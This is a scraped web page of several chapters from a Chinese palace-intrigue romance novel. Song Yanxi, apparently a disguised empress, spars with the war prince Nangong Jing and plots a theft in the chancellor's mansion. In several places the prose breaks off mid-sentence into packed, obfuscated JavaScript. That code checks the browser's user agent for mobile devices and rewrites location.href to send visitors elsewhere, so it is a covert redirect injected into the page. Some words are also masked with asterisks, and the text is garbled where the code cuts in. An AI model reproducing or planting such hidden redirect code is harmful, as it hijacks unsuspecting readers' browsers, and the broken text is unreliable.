紫翎眼中闪过警惕之色:“你怎么知道?不对,听到陛下的死讯,你怎么一点都不惊讶?莫非,你早就知道陛下……” “很奇怪吗?” 宋颜夕站直身子:“别忘了我是做什么的。我手上的情报,远比你想象中多得多。” 说着,她拍了拍紫翎的肩膀:“你被骗了,这一切都是巫黛的阴谋。” “摄政王?不,她可是陛下最信任的人,不可能在这件事上骗我。” “最信任的人?” 宋颜夕反复咀嚼着这几个字,眼中逐渐泛起火光:“在背后捅刀子的,往往是身边最亲近的人。” “你这句话是什么意思?难道是摄政王暗害陛下?这怎么可能。” “可不可能,事情都已经发生了。小凤凰,你并不傻。只需仔细想一想便能知道,南宫景即便是东越战无不胜的王,也不可能越过重重关卡,闯入我西菱皇宫击杀陛下。你不妨再想想,若是你杀了东越公主,两国开战,对谁最有利?” 紫翎后退一步:“巫黛手上有半枚虎符,一旦两国开战,而陛下又迟迟未能临朝。她便可以保卫疆土为由,接管陛下手中的另外半枚虎符。到时,西菱兵权皆在她手,便是改朝换代也……” 短短几句话,紫翎的脸上已经变换了好几种表情, “好一个巫黛,我要杀了她,替陛下报仇。” 宋颜夕一个闪身拦下紫翎:“你这冲动的性子什么时候能改改?巫黛如今独揽朝政,怕是你还没接近她,就已经被她的近身侍卫杀死了。” “那怎么办?难道就这样眼睁睁看着她夺了陛下的江山吗?” “自然不是。” 宋颜夕拍了拍紫翎的肩膀:“你若真想替陛下报仇,就听我的。” 北风起,半敞的窗户发出“嘎吱”声。 宋颜夕捏了捏指尖。 巫黛手握重兵,就算她回到西菱,那些老臣也未必会站在她这边。 更何况,她如今连证明她自己身份的信物都没有。 为今之计,只有掌握足够的资源才有和巫黛一战的可能。 或许和那便宜夫君合作,把那批黑铁石弄到手也是个不错的选择。 至于南宫景?根本不在她的考虑范围之内。 那个男人,不好掌控。 “要怎么样才能接近库房呢?” 接下来的几天,宋颜夕总是有意无意地在府中溜达。 根据她的观察,无论是库房还是书房,乃至是宋章的卧房都守卫森严。 “十二时辰都有人把守,这个宋章,还真是怕遭贼惦记啊。” 紫翎站在宋颜夕身边,一副低眉顺眼的模样,说出的话却是霸道非常: “不就是偷个盒子嘛,等我把那那些人都杀了。这宋府所有东西都是你的。” 宋颜夕差点儿没被自己的口水呛到。 “小凤凰啊小凤凰,你现在怎么如此暴力!” 想当年她第一次见到紫翎的时候,她还只是个八岁的丫头。因为是将军和男妓所生,在府中地位低下,连名字都没有。 那天,紫翎不小心打碎了琉璃盏,差点儿被将军府大小姐当做活靶射死。 是她将紫翎从将军府带走,并为她取了名字。 这几年跟在她身边,紫翎的脾气虽然强硬了不少,但戾气却不似如今这般重。 难道,真是她的死对这丫头的刺激太大了? “不就是取个盒子嘛,没必要闹出人命。” 宋颜夕拍了拍紫翎的手背:“听说过几日安远侯府就要来下聘了,到时候,那些聘礼便要入库。你知道该怎么做了吧。” 紫翎点头:“我明白了。” “娇娇,这便是你那从乡下来的二姐吗?果然一股子穷酸样。” 听到这突如其来的讥讽声,宋颜夕皱了皱眉。 抬头一看,就见宋娇娇领着一个华服女子从不远处走来。 “林姐姐慎言,我这位二姐如今可是深得大伯母喜爱,便连婉儿姐姐都要让着她呢。” “区区庶女,竟然还想爬到嫡女头上?看本小姐怎么教训她。” 那被称作林姐姐的,是吏部尚书府的大小姐,林霜。 林霜与宋婉儿交好,听说宋颜夕抢了宋婉儿的婚事,早就对宋颜夕不满。 如今见了宋颜夕,二话不说就抬起手朝她脸上打去。 一旁的紫翎见状,正要动手,却见宋颜夕已经抓住了林霜的手腕。 “林姑娘是吧,不分青红皂白就动手打人,这便是尚书府的教养吗?” 林霜怒极:“竟敢辱骂本小姐,来人呐,给我按住她。” 林霜带来的丫鬟有些拳脚功夫,平日里,没少帮着林霜干那些仗势欺人的事儿。 但今日,那两个丫鬟还没接近宋颜夕就被她一脚踹飞了。 她踢得很用力,那两个丫鬟落地的时候,尾椎骨都断了。 “想打我?林姑娘怕是在来之前没有调查过我吧?我这人啊脾气不好,惹了我,可是要付出代价的。” 宋颜夕一边说,一边卡住林霜的脖子。 宋娇娇见此,赶紧抓住宋颜夕的手:“你知不知道林姐姐是谁?赶紧松手。” “你让我松我就松?你是二姐还是我是二姐?” 林霜疼得脸都白了:“宋彩衣,你敢对我动手,我爹爹不会放过你的。” “我还就对你的动手了,你能拿我如何?” 说着,她直接一巴掌扇到林霜脸上。 “怎么样,被人扇巴掌的感觉如何?” 直到被扇到地上,林霜都没有从震惊中回过神来。 从小到大,这是头一个敢打她的人。 她尖叫一声朝宋颜夕扑了过去:“该死的宋彩衣,竟敢真的打我,我要杀了你。” “你们在干什么!” 第61章:战王的“告状书” 突如其来的爆呵声制止了林霜的动作。 转头一看,正好看到宋章和宋德朝这边走了过来。 “这到底是怎么回事?” 看到林霜脸上的五指印,宋章眼中闪过怒气。 林霜可是林海的掌上明珠,如今在他府上被打了,林海肯定不会罢休。 “大伯父,爹爹,你们来得正好,是宋彩衣打了林姐姐,你们可要好好惩治她。” 宋章看向宋颜夕:“当真是你打了人?” 宋颜夕单手叉腰:“没错,就是我打的。谁让她说爹爹的坏话。” 林霜捂着脸站在一旁,原本是等着宋章惩罚宋颜夕,听到这话,便又要冲上去殴打宋颜夕: “你这村姑胡说什么呢,我何时说丞相的坏话了?” “我是父亲的亲生女儿,身上可是留着和父亲一样的血。你一口一个村姑,还说我肮脏**上不了台面,不就是在背地里戳我父亲的脊梁骨吗?” 宋颜夕一步一步走近,说出的话铿锵有力:“你说我也就罢了,可我绝对不允许你辱了我父亲的名声。” 说完,她抬头看向宋章:“女儿知道**不对,但若是再来一次,女儿还是会这么做。爹爹若是要罚,便罚吧。” 宋章盯着宋颜夕的眼睛,似乎想要从那双倔强的眸子里看出些什么。 良久,他一甩衣袖看向林霜: “哼,林尚书倒真是养了个好女儿。林姑娘还是早些回去吧,我这相府庙小,怕是容不下林姑娘这尊大佛。” 宋章的声音没有多大的情绪起伏,可林霜就是莫名觉得后背一凉。她也顾不得和宋颜夕争吵了,对着宋章直接跪了下去。 “丞相大人,您别听这个女人胡说八道,我没有那个意思。是她,她在污蔑我。” 然而宋章却根本不听她的,转身就让人将林霜遣送出府。 “你,跟我过来。” 送走林霜之后,宋章将宋颜夕叫到书房。 书房里,气氛安静得有些诡异。 将宋颜夕叫到书房之后,宋章一句话都没跟她说,转身就处理公文去了。 而宋颜夕呢,规规矩矩地站在那儿,连步子都没挪动半分。 身子虽然没动,眼睛却在偷偷打量着书房的布局。 那盒子会藏在这里吗? 大概过了一个时辰,宋章终于开口。 “脾气不是挺大的吗?这会儿倒是乖巧了?” 宋颜夕福了福身:“那不一样,林霜瞧不起我,我自然是要对付回去的。但您是我父亲,别说让我站上一个时辰了,便是您想要女儿的命,女儿也没有半句怨言。” 似乎是被她这句话逗到了,宋章轻笑一声:“好端端,本相要你命做什么?” 他指了指下方的椅子,道,“坐下回话吧。” 宋颜夕自然不会跟他客气,大大咧咧地就坐下了。 看着她的动作,宋章忍不住皱了皱眉:“这些日子的规矩,是白学了。” 宋颜夕猛地站了起来:“是女儿给爹丢脸了。女儿自小无人教导,许多习惯养成之后,便难以改过来了。您便是给我请一百个嬷嬷,也没有用。” “你是在责怪本相这么多年对你不管不顾?” “女儿不敢。” “不敢?我看你胆子可不是一般的大。” 宋章将一个折子扔到宋颜夕面前:“连战王都敢得罪,真是不知天高地厚。” 战王? 那家伙又在搞什么鬼? 她捡起那折子,看了之后简直哭笑不得。 那个南宫景,竟然说她在大长公主府放跑了他心爱的宠物猫,限定她在五天之内把猫找回来,否则就让她提头去见。. 她在公主府哪儿见过什么猫啊!这是红果果的诬陷! “女儿也不知道那猫是战王养的啊,我看那小猫困在笼子里,便想着给它喂些吃的。没想到刚打开笼子,那猫就跑了。” 宋颜夕低下头去,眼中闪过一道精光:“父亲,要不您让我出府,女儿保证,一定找一只一模一样的猫赔给战王。” “你以为战王是这么好糊弄的吗?随便找一只猫就能应付过去了?” “那怎么办?该不会,真的要砍了女儿的脑袋给他送过去吧?” 宋颜夕装出一副害怕的样子,三两步跑到宋章面前,直接抓住了他的衣袖:“爹爹,女儿还不想死。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197362|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “拉拉扯扯,成何体统!” 宋章试图将衣袖扯回来,却没想到,宋颜夕的力气大得出奇。 他扯了好几下都没扯动。 “女儿家家的,怎么有如此大的力气。” 这下,宋颜夕倒是松了手:“女儿从小在乡下长大,许是平日里干农活练出来的。对不起爹爹,是女儿失礼了。” 宋章原本还想训斥她几句的,但在见到宋颜夕微红的眼眶时,又将那些话憋了回去。 “好歹也是我相府的千金,战王断不会因为一只猫要了你的命,你且回去准备一下,明日,本相亲自带你去战王府登门谢罪。” 离开书房的时候,宋颜夕忍不住勾起嘴角。 东越的这位丞相,似乎和她想象中有些不同。 原以为他将宋彩衣扔在乡下这么多年,肯定是不喜欢这个女儿的,如今看来,他对宋彩衣的态度倒是微妙得很。 “姑娘,明日当真要去战王府吗?” 紫翎听说宋颜夕要去见南宫景,神色有些严肃。 哪怕宋颜夕与她分析了利弊,在她内心深处,对南宫景仍然是仇视心理。 宋颜夕坐在书桌前作画,案台上,一只挥着爪子的黑猫面露凶相。 “自然是要去的。” 她倒要看看,那家伙故意编造这么一出,又是想做什么。 是在警告她,不要忘记寻找盒子的任务吗? 紫翎抽出藏在腰间的**。 “明日我陪你一起去,若是那战王对你不利,我便杀了他。” “放心吧,我如今对他还有利用价值,他是不会对我怎么样的。” 她看了一眼窗外,朝紫翎勾了勾手:“你去替我准备几样东西。” 第二天,宋章果然带着宋颜夕出了门。 到了战王府之后,他们被领到会客厅,招呼他们的是王府的李管事。 “我家王爷正在处理军务,请相爷稍候片刻。” 李管事给宋章上了茶,然后才转身对宋颜夕说道,“至于宋二姑娘,我家王爷另有安排,请姑娘跟我走吧。” “不行!” 宋颜夕还没说话,宋章就率先开口。 第62章:段恒的心思 大概是察觉到气氛不对,他解释了一句:“小女尚未出阁,怎能与殿下单独见面,于礼不合。” “相爷放心,我家王爷没有其他意思。只是最近王爷因为丢了爱宠,心情不佳,已经好几日没好好吃饭了。听闻宋二姑娘心灵手巧,为我家王爷做顿膳食,应该不是难事吧?” “原来如此。” 宋章放软语气,对宋颜夕说道:“既是为王爷准备膳食,可要小心着些,莫要再惹怒王爷不快了。” 宋颜夕心里已经把南宫景骂了八百遍,面上却是不露分毫。 死贱男到底从哪里听说她心灵手巧的? 摆明是故意刁难她。 她低声说了一句:“能为王爷做事,是我的福气,怕就怕我儿笨手笨脚的,弄脏了王府的厨房。” “二姑娘谦虚了,王爷交代过,二姑娘尽管放手去做,厨房里的东西若是磕了碰了,也不会让姑娘赔偿。” 宋颜夕看向李管事。 这话,似乎另有深意啊。 那家伙是料到她不会下厨了? “既然如此,彩儿便快些去吧,本相在此等你。” 宋颜夕朝宋章福了福身便跟着李管事走了。 本以为南宫景那厮是因为偷盒子的事儿故意把她叫走,没想到,李管事竟然真的把她带到了厨房。 把人带到厨房之后,李管事就离开了,甚至还把厨房里原本在忙活的那些厨子都叫走了。 “死贱男,竟然还想让本帝给你做饭,我倒要看看,你能不能吃得下!” 厨房外,南宫景看着那个生火不成反被烟熏得一脸灰的女人,满意地勾起嘴角。 【宋颜夕啊宋颜夕,让你在小樟村压榨本王,如今落在本王手里,看本王怎么整你。】 “砰!” 宋颜夕拿着刀料理活鱼,手一滑,那鱼就溜到地上了。 她弯腰去抓鱼,手肘却撞到一旁的盘子。 整整十个盘子,全都砸了个稀碎。 “好啊,区区一条鱼也和我作对是吧?看我怎么收拾你。” 宋颜夕撸起袖子,和那鱼儿展开搏斗。 站在屋外偷看的某人见此,嘴角的弧度越扯越大。 跟在一旁的段恒像是见鬼了一样盯着南宫景。 他没看错吧,他们家王爷刚刚是,笑了? 那女人把厨房弄得一团糟,王爷到底在高兴什么啊? 半个时辰后,宋颜夕端着一盘烧焦的鱼来到南宫景面前。 南宫景嫌弃地将那黑乎乎的鱼往外推了推:“宋二姑娘,便拿这个给本王吃?” 宋颜夕将那鱼又重新推到他面前:“王爷不是丢了猫没胃口吗?吃点重口味的,心情就好了。” “就这?” 南宫景用筷子拨弄了两下:“你该不会给本王下毒了吧?” “臣女哪儿敢呐。王爷迟迟不动筷,难道是,不敢吃?听闻战王殿下无所不能,没先到还有您不敢吃的东西呢。” “少跟本王玩这一套,激将法对我可没用。” 南宫景伸手一拉,宋颜夕就被扯到他身旁的椅子上:“我瞧着宋二姑娘身子甚是单薄,这菜便赏你了。没有吃完,不准离开。” 说着,他已经夹起一块鱼肉塞到她嘴里。 苦涩味在口腔里蔓延开来,宋颜夕拍着桌子站了起来:“你竟敢让本帝吃这玩意儿......” 说完,她立刻捂住嘴。 糟糕,说漏嘴了。 果然,她才刚捂住嘴,南宫景就逼近她,犀利的目光似要将她看透:“本,帝?” 这好像是他第二次从这女人口中听到这两个字了。 “王爷听错了。” 宋颜夕不动声色地和他拉开距离:“臣女的意思是,这鱼口感不佳,臣女这便重新给王爷做一份。” 说完这句话之后,她直接抓起桌上的盘子,逃命似地朝厨房的方向狂奔而去。 南宫景看着她仓皇离开的背影陷入沉思,他敢肯定自己没有听错。 在这世上,能自称本帝的可没有几个人。 而且,这女人还自称玄弥,对西菱暗卫了如指掌。 莫非…… 他朝暗处招了招手,段恒立刻上前。 “西菱那边还没有消息吗?” 段恒双手抱拳道:“我们的人无法探查女帝的行踪。唯一能确定的是,女帝至今仍未临朝。” “加派人手,继续查。” 南宫景起身朝外走:“那个叫紫翎的,有何动静?” “离开公主府之后,她绑了宋四姑娘安排的人,易容跟在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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段恒轻哼一声:“不让我劝阻王爷,那我就偷偷解决了那细作。我是绝对不会让王爷一世英名毁在那细作身上的。” …… “王爷,段大哥无心的,请您原谅他这一次吧。” 回到屋子里之后,白栀开口的第一句话就是替段恒求情。 南宫景背手站在窗前:“此事本王自有主张。你去安排一下,务必要将宋二姑娘留在府上。” “是!” 白栀转身离开,却又被南宫景叫住。 “记住,莫要伤人。另外,再替本王做几件事......” 白栀的眼中闪过诧异之色,但很快又低下头去:“属下这就去办!” 第63章:战王的第N次试探 那天,宋颜夕足足做了八道菜,其中,三道太咸,两道没熟,一道寡淡无味,剩下的两道,烂得只剩下汤汁。 在制作第九道菜的时候,她终于没忍住,放了一把小小的火泄愤。 当宋章看到满脸碳灰,头发蓬乱的宋颜夕时,气得拂袖而去。 而宋颜夕呢,因为烧了王府的厨房,被留下“打工还债”。 南宫景下了命令,要宋颜夕亲自把厨房恢复如初。 “在厨房修复之前,还要委屈宋二姑娘先住在偏院了。” 白栀将一套干净的衣裳塞到宋颜夕手里,指了指屋后道,“屋后有一汪温泉,平日里不会有人来。姑娘若是需要,可去那儿洗漱。” “多谢。” 宋颜夕朝白栀点了点头,转身朝屋后走去。 在厨房待了这么久,她现在浑身都是油烟味,确实需要洗一洗。 走到半路,她又停下脚步。 “此处既有温泉,又怎么会只是偏院?该不会,又是南宫景那死贱男的阴谋吧?” 想到这儿,她拢了拢衣襟,打水简单洗漱之后,合衣躺在床上。 她一夜未眠,就是防止王府的人偷袭。 结果,一夜安稳。 第二天,当她顶着熊猫眼出现在白栀面前的时候,白栀着实吃了一惊。 “姑娘昨日没休息好吗?” 宋颜夕随口答道:“哦,我认床。” “原来如此,奴婢这便为姑娘更换被褥。熏香可助眠,姑娘可有喜欢的熏香?” “不用了。” 宋颜夕摆了摆手:“不是要修厨房吗?赶紧的吧。” “可是姑娘今日的状态......” “无妨,需要我做什么,赶紧说吧。” 南宫景的地盘她是一刻都不想多待,她现在只想早点修完早点离开。 “好吧,姑娘请跟我来。” 看到那黑漆漆的废墟时,宋颜夕脚步一顿。 她就放了一把小火,怎么就烧成这样了? 这站王府的护卫都是吃干饭的吗? “木头已经运来了,接下来就劳烦宋二姑娘了。” 见白栀转身要走,宋颜夕赶紧拉住她:“什么意思?真让我一个人修?” 她哪儿会盖房子啊。 而且就算她会,一个人也做不到啊。 “抱歉宋二姑娘,这是我们王爷的命令。” 白栀扒开宋颜夕的手,像是做了亏心事一样小跑着离开了。 “南宫景,你最好别落在本帝手里!” 宋颜夕咬牙打桩,一边打,一遍骂。 等到日暮降临的时候,她终于拖着疲惫的身躯回到了偏院。 “累死我了。” 打了一天桩,宋颜夕浑身都是汗臭味。 这样的日子过了两天,她再也忍不住,一头钻进了后院。 “还真有温泉啊。” 看着那冒着蒸汽的池子,宋颜夕直接脱去外衣跳了进去。 当温热的泉水洗涤着肌肤,她惬意地闭上眼睛。 她不知道,黑暗中有一双眼睛将她所有动作都收入眼底。 等到宋颜夕彻底昏睡过去,南宫景才从暗处走了出来。 他站在岸上,透过氤氲水汽凝视着那道缥缈的身影。 过了许久,他终于脱了鞋袜进入池子。 此时的宋颜夕少了白日的张牙舞爪,毫无防备地靠在池壁上,温泉水将她的脸颊蒸出一朵红云。 那模样,倒是有几分可爱。 南宫景一点一点靠近,右手微微抬起,朝她的肩膀伸去。 然而就在他即将碰到宋颜夕的时候,方才还在沉睡的人猛地睁开眼睛。 “小贼,敢偷袭本姑娘!” 宋颜夕几乎是第一时间就抬起手朝南宫景的脖子劈去,然而南宫景只是轻轻抬手就捏住了她的手腕。 “竟然还醒着,本王倒是小瞧了你。” “竟然还假冒王爷,胆子不小啊。” 宋颜夕冷哼一声,另一只手捏着银针便朝南宫景的手腕扎去。 南宫景一时不查,竟真的被她刺了一下。 “都这个时候了,你竟然还带着银针。” 因为情况特殊,宋颜夕没听出这句话的漏洞。 针上淬了麻药,南宫景迅速在手臂上的穴道点了几下,然后,反手夺过宋颜夕手中的针。 宋颜夕试图用脚踢他,但南宫景似乎早就料到她的动作,手脚并用将她禁锢在池壁上。 “你这登徒子,快放开我。” “登徒子?” 南宫景用手肘顶着她的脖子,另一只手抚上她的脸:“你既然都这么说了,本王若是不做些什么,岂不是有愧姑娘的一番赞美?” 仔细检 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15206820|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查一番之后,南宫景得出一个结论。 【眼前的是宋颜夕和在小樟村时一样,没有戴**】 带着老茧的指腹在脸上划过,宋颜夕下意识打了个寒颤。 “你若是敢对我做什么,我爹爹和我未来夫君是绝对不会放过你的。就算你是战王,也不想同时得罪相府和侯府吧?” 听到未来夫君几个字,南宫景的眼睛眯了眯。 “你以为,本王会怕他们?” 南宫景的手顺着脖子一路往下,停留在宋颜夕胸前的衣带上。 “柳如风已经是废人了,与其嫁给他独守空闺,不如跟着本王。” 他轻轻一扯,衣带便被扯开了。 “你这死贱男,要是敢对我做什么,本姑娘一定送你下地狱。” “死贱男?” 南宫景的脑子有片刻宕机,印象中,月容在怒极之下也曾经如此骂过他。 她当真是什么都跟这个叫玄弥的侍卫说? 又或者,眼前的这个“玄弥”,根本就是月容。 宋颜夕的脸憋得通红,她多想一脚废了这个男人。 可她如今这具身体一点儿武力值都没有,这些日子练出来的那点儿力气,在南宫景面前根本就不值一提。 南宫景几乎是整个人都贴在她的身上:“没想到宋二姑娘竟然如此彪悍,倒是比京中那些柔柔弱弱的官家小姐有趣多了。” 说着,他一把掀开宋颜夕的里衣,“那便让本王看看,你要如何送我下地狱。” 然而,当他看到宋颜夕光洁无暇的肩膀时,眼中的调笑之色顿时消失得无影无踪。 肩膀上没有疤痕,不是她。 就在宋颜夕准备和他鱼死网破的时候,南宫景却忽然放开了她。 “这是给你的教训,若是下次还敢在本王的地盘玩火,你知道后果。” 扔下这句话之后,南宫景就离开了。 “死贱男,又耍我!” 宋颜夕骂骂咧咧地穿好衣服,走出池子的时候,却又看向南宫景离开的方向喃喃自语:“那贱男好像不对劲啊,怎么失魂落魄的?” 想到这儿,她忽然抽了自己一耳刮子。 “月容,你是脑子被门夹了吗?竟然担心那贱男人。” 第二天,宋颜夕便被白栀送回了相府。 刚进府,一条带着倒钩的鞭子就朝她身上打来。 第64章:下聘 宋颜夕一个侧身躲过去。 鞭子打在身后的门框上,瞬间飞出厚重的木屑。 “**东西,得罪了战王竟然还敢回来!” 顺着声音的源头看去,正好看到一个身穿蓝色锦袍的年轻男子握着鞭子站在她五步开外。 “你是何人?竟敢在相府执鞭**?” 说罢,她又看向那些看热闹的下人:“你们都**吗?就这样看着本小姐被人打?” “这才入京几天啊,就摆上小姐的谱了?本公子今日便好好教育教育你,让你知道这上京城的规矩。” 那蓝衣男子一边说,一边扬起手上的鞭子。 宋颜夕暗道不好,转身撒腿就跑。 “本公子教训你,你竟然还敢跑?给我站住!” 宋颜夕加快了脚上的动作:“你打我,还不让我跑?当我是傻子吗?” 这一鞭子下去,她怕是要丢了半条命。 虽然她有办法对付这人,但如今她尚未在相府站稳脚跟,还是得隐藏实力。 宋颜夕跑得很快,七拐八拐的,还真的将那人甩在身后。 逃到自己的院子之后,她立刻下令锁门。 “姑娘,这是怎么了?” 何花和紫翎听到动静出来,正好看到宋颜夕半蹲在那儿喘着粗气。 宋颜夕指了指门口:“不知道哪儿来的疯子,拿着鞭子就往我身上招呼。我不在的这几天,府上可是发生了什么?” “鞭子?” 紫翎和何花对视一眼:“是二公子。” 二公子? 姜淑萍的次子,宋婉儿的二哥,宋诚。 “二公子自小习武,如今在兵部任职,前些日子外出公干,昨日才回府。” 听何花所言,这位宋二公子极为疼爱宋婉儿,这次回来便是为了参加宋婉儿的婚礼。 回来之后却从宋娇娇口中得知宋婉儿的婚事被宋颜夕“抢”了,当场就扬言要灭了宋颜夕。 要不是姜淑萍把他劝下,那莽夫昨日便会杀到站王府。 后来,他又得知宋颜夕得罪了战王,便以此为借口,想要给宋颜夕一个下马威。 “宋彩衣,给我滚出来!” 说话间,宋诚已经追到了院门口。 “姑娘怎么办,要开门吗?” “开什么开?给我堵住了。若是把那疯子放进来,你们也不用再待在本姑娘的院子里了。” 宋颜夕朝紫翎使了个眼色,紫翎立刻跟在她身后进了房间。 宋颜夕示意她坐下:“这次来东越,你带了多少人?” “关口查得严,我只带了三十人。如今,这些人就隐在上京城各处。” 宋颜夕给了她一个赞许的笑:“南宫景似乎在怀疑我,你去替我做几件事。务必要做实我宋家千金的身份。” “好,我会让人去一趟林音镇。” “至于其他人。你让他们随时待命,等我找到那个盒子,拿到藏匿黑铁石的路线图,你就带人偷偷将黑铁运走。” 紫翎点头:“没问题。” “接下来,让我想想怎么弄到那个盒子。” 宋颜夕想问题的时候,右手中指关节有意无意轻轻扣着桌面,想到关键之处,食指和拇指轻轻摩擦着。 紫翎观察着她的动作,眼中闪过一道异色。 “三日后,安远侯府便会来下聘了吧。你这样......” 宋颜夕示意紫翎附耳过去,在她耳边轻轻说了几句话。 紫翎点头,朝宋颜夕福身退了出去。 这一夜,宋颜夕睡得很好。 宋诚在院外叫嚣了一阵之后便怒气冲冲地离开了。 当宋颜夕再一次见到宋诚,便是安远侯府下聘那日。 “昨日,宋娇娇找你了?” 前方,宋章和安远侯周旋。 宋颜夕坐在帘子后,低声和紫翎说话。 紫翎从袖子里掏出一个药包:“她让我将此物下在姑娘的茶水里。” 宋颜夕接过那小药包闻了闻,嘴角露出嘲讽的笑。 “这宋娇娇倒是有能耐得很,身在后宅,竟然也能弄到这腌臜之物。” 她的目光通过帘子,看向坐在堂下的三房夫人刘云香。 想必,这后面也少不了她这位三婶的手笔了。 “姑娘,你想怎么做?” 宋颜夕把玩着手指:“这安远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15221769|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯世子嘛,我定然是不能嫁的,只不过,就算是要退婚,也要体体面面地退。你这样......” 按照惯例,下聘之日,男方家属是要相看新嫁娘的,是以,宋颜夕一直在帘子后等待传唤。 宋章和安远侯相谈甚欢,已经敲定婚礼细节。 眼看就要传唤宋颜夕,却忽然听到帘子后传来紫翎的惊呼声。 “不好了,二姑娘晕倒了。” 宋章脸色一变,冲过去的时候,正好看到宋颜夕白着脸倒在地上。 “这到底是怎么回事?你就是这么伺候主子的?” 紫翎面露惊惶之色,直接在宋章面前跪了下去:“相爷恕罪啊,姑娘出门的时候还好好的,奴婢也不知为何会这样。” “许是着凉了,不如先将二姑娘抬回去,请大夫诊治一二。宋相以为如何?” 安远侯是儒学世家出生,见了谁都是一副笑眯眯的模样。 在下定之日出了这种事,他的脸上依然没有表现出太大的情绪波动。 宋颜夕被抬回梧桐苑之后,宋章便下令彻查此事。 很快,就查出宋颜夕身上的衣裳被人下了**。 若是不尽快解毒,宋颜夕活不过十日。 “怎么回事?不是让那丫头在茶水中下**吗?怎么成了**了?” 刘云香捏着帕子在房中来回踱步,神情焦虑。 “娘,你紧张什么?这事儿跟咱们又没有关系。要我看啊,就是那村姑在外面得罪了其他人,她**了不是正好?安远侯府肯定不会娶一个将死之人。” 看着宋娇娇一脸雀跃的模样,刘云香恨不得将她塞回肚子里回炉重造。 “你还还笑得出来?咱们马上就大祸临头了。” 她捂着额头坐下,将身边的嬷嬷招过来低声吩咐了几句,那嬷嬷眼中闪过一道光,躬身退了出去。 “不就是个村姑嘛,死就**,难不成大伯还能因为这村姑责罚咱们不成?” 刘云香恨铁不成钢地瞪着她:“我怎么就生了你这个蠢货。” 就在刘云香着急忙慌地善后时,相府大门被扣响。 守门的小厮见了门口那人,顿时瞪大双眼。 第65章:潜入库房 站在门外那人不是别人,正是戴着面具的南宫景。 “战王殿下光临寒舍,真是让老臣这宅子蓬荜生辉啊。” 宋章也没想到,与相府没有交集南宫景竟然会挑在这个日子到相府“拜访”。 一旁的安远侯也朝南宫景拱了拱手。 “安远侯也在呢?” 南宫景的目光从地上那些挂着红丝带的箱子上扫过:“看来,今日是个好日子啊。宋相,不介意本王在贵府讨杯茶喝吧?” 宋章自然不可能拒绝南宫景,当场就命人准备上好的茶点。 “安远侯是来下聘的吧?怎么不见府上的新嫁娘?” 宋章和安远侯对视一眼,最后,还是宋章出声解释:“小女偶感风寒,侯爷相看后,老臣便让小女先回去歇息了。” “偶感风寒?” 南宫景故作惊讶:“与侯府结亲的是宋府二姑娘吧?她前几日火烧本王厨房的时候可是健硕着呢,这才几日,怎地就病倒了?” 安远侯平静无波的脸上闪过一道裂痕:“火烧,厨房?” “安远侯不知道吗?宋二姑娘放走本王的爱宠,本王小惩大诫,让宋二姑娘做些膳食,岂料这宋二姑娘脾气暴躁,一怒之下竟是直接烧了本王的厨房。说起来,宋相的这位千金,脾气可是大得很呢,也不知世子日后能否吃得消。” 眼见安远侯的脸越来越黑,宋章赶紧打断南宫景的话。 “小女莽撞,是我这做父亲的失职。王府的所有损失,老臣一定如数赔偿,还望殿下念在小女年幼,不要与她计较。” “看来,宋相是极为疼爱这位二姑娘啊。” 南宫景端起茶盏,抿了一口:“本王也不是这般小气之人,今日也不是来问罪的。宋相莫要紧张。说起来,宋二姑娘病倒,也是本王的责任。若非本王强留她在王府处理修缮事宜,二姑娘也不会累倒。” 他招了招手,身后的白栀立刻上前一步。 “我这婢女也略懂些医术,不如,便让她替宋二姑娘诊治一番,如何?” “这个......” 宋章有些犹豫,但南宫景都把话撂在这儿了,他若是再阻拦,便是不识抬举。 “既然如此,老臣便多谢殿下了。” 宋章命人领着白栀前往梧桐苑的时候,刘云香总算是把这件事的利弊与宋娇娇讲清楚了。 “娘的意思是,大伯会因为这件事,彻查相府?” 刘云香点头:“若那宋彩衣只是与野男人苟且,关起门来将人打死便是,为了颜面,无论是相爷还是安远侯都不会将此事闹大。但如今宋彩衣**昏迷,那便意味着这相府的安保出了问题。以你大伯的性子,是绝对不会允许任何威胁他性命的危险存在的。若是深查下去,咱们唆使那丫头在宋彩衣茶水中下药之事便瞒不住了。” “娘方才让章嬷嬷去办事,莫非是......” 刘云香看向梧桐苑的方向,狭长的丹凤眼中闪过一道杀气:“小怜那丫鬟是不能留了。” 梧桐苑: 宋颜夕躺在床上,身旁围绕着一群丫鬟婆子。 “吱呀~” 房门被重重推开,姜淑萍在丫鬟的簇拥下急匆匆走了进来。 